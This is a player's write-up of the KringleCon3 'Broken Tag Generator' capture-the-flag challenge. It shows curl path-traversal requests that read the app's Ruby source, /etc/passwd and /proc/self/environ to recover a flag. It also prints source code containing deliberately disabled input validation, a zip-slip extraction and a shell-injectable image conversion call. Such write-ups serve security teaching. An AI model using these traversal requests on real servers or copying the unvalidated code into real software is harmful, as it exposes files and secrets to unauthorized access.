KringleCon3 2020 Objective Eight Writeup: Broken Tag Generator
KringleCon3 Overview
KringleCon is the annual Holiday Hacking Challenge put on by the SANS Institute. Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the KringleCon YouTube Channel provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.
When KringleCon is over, players publish writeups. Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.
Objective Overview
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
Elf Hints
- We might be able to find the problem if we can get source code!
- Can you figure out the path to the script? It’s probably on error pages!
- Once you know the path to the file, we need a way to download it!
- Is there an endpoint that will print arbitrary files?
- If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
- I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
- If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
- Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
Objective Detailed Writeup
Initial Findings
The main site where the objective takes place is here:
https://tag-generator.kringlecastle.com/
Looking at the source of the html, there is a java script file:
https://tag-generator.kringlecastle.com/js/app.js
In the app.js
file, there are endpoints such as /upload
, /save
Assumptions After Initial Observations
- Need to find the script generating the website
- Expect to exploit some type of RCE code
- Need to exploit a flaw in
/upload
or/save
- Directory traversal type attack to view the file
Solving
First, we input random URLS to see what errors are returned:
The hints warn of a display problem with the Content-Type
. Retrying with the same URL from the command line results in the full path to the application generating the error:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/foo
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Route not found</p>
After downloading and looking through the app.js
script, there is an image endpoint. Calling with the /image
endpoint generates a different error:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: ID is missing!</p>
Adding foo
to ?id=
returns an attempt to be funny:
# Hahaha, Foo returns yo: foo you
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=foo
yo
Trying different variables, such as test
, returns a path error. This indicates the app.rb
is accepting input and using it try and find files within a path:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=test
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/test</p>
Trying more paths to see what happens, this time /tmp
:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=tmp
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/tmp</p>
The script is not sanitizing input and accepts ..
as an argument, allowing us to move up directories:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=..
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/..</p>
Alternatively, try in burp suite
:
We know from the errors above, the working directory is /tmp
. By adding ..
to the path, we can start to look for files within the root /
directory. By using the full path to the script ../app/lib/app.rp
we can display its contents:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../app/lib/app.rb
# encoding: ASCII-8BIT
TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'
# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER
require 'rubygems'
require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'
require 'zip'
require 'sinatra/cookies'
require 'cgi'
require 'digest/sha1'
LOGGER = ::SingLogger.instance()
MAX_SIZE = 1024**2*5 # 5mb
# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
CGI.escapeHTML html
end
def handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")
if entry.size > MAX_SIZE
raise 'File too large when extracted'
end
if entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}
# Process it
out_files << process_file(out_file)
end
end
return out_files
end
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
def process_file(filename)
out_files = []
if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
else
raise "Unsupported file type: #{ filename }"
end
return out_files
end
def process_files(files)
return files.map { |f| process_file(f) }.flatten()
end
module TagGenerator
class Server < Sinatra::Base
helpers Sinatra::Cookies
def initialize(*args)
super(*args)
end
configure do
if(defined?(PARAMS))
set :port, PARAMS[:port]
set :bind, PARAMS[:host]
end
set :raise_errors, false
set :show_exceptions, false
end
error do
return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
end
not_found do
return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
end
get '/' do
erb(:index)
end
post '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()
content_type :json
images.to_json
end
get '/clear' do
cookies.delete(:images)
redirect '/'
end
get '/image' do
if !params['id']
raise 'ID is missing!'
end
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
content_type 'image/jpeg'
filename = "#{ FINAL_FOLDER }/#{ params['id'] }"
if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
end
get '/share' do
if !params['id']
raise 'ID is missing!'
end
filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"
if File.exists?(filename)
erb(:share, :locals => { id: params['id'] })
else
return 404, "Image not found!"
end
end
post '/save' do
payload = params
payload = JSON.parse(request.body.read)
data_url = payload['dataURL']
png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])
out_hash = Digest::SHA1.hexdigest png
out_filename = "#{ out_hash }.png"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
LOGGER.debug("output: #{out_path}")
File.open(out_path, 'wb') { |f| f.write(png) }
{ id: out_hash }.to_json
end
end
end
For fun, let’s try and display the /etc/passwd
file. Since this works we know any file the web server has permissions to view will be displayed:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000:,,,:/home/app:/bin/bash
The goal of this challenge is to get an environment variable, I suspect there is a remote code exploit in the app.rb
script, but there is an easier way to pull an environment variable.
The /proc
filesystem in Linux contains information about running processes. The web server process probably contains the environment
variable, we need to examine. By examining the /proc/self/environ
, it will return all environment variables for the web server process:
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../proc/self/environ --output -
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app%
Helpful Advice
Have persistence. I spent hours trying URL permutations after looking at the initial app.js
code.
Answer
Command to get the variable:
curl https://tag-generator.kringlecastle.com/image\?id=../proc/self/environ --output -
Answer:
GREETZ=JackFrostWasHere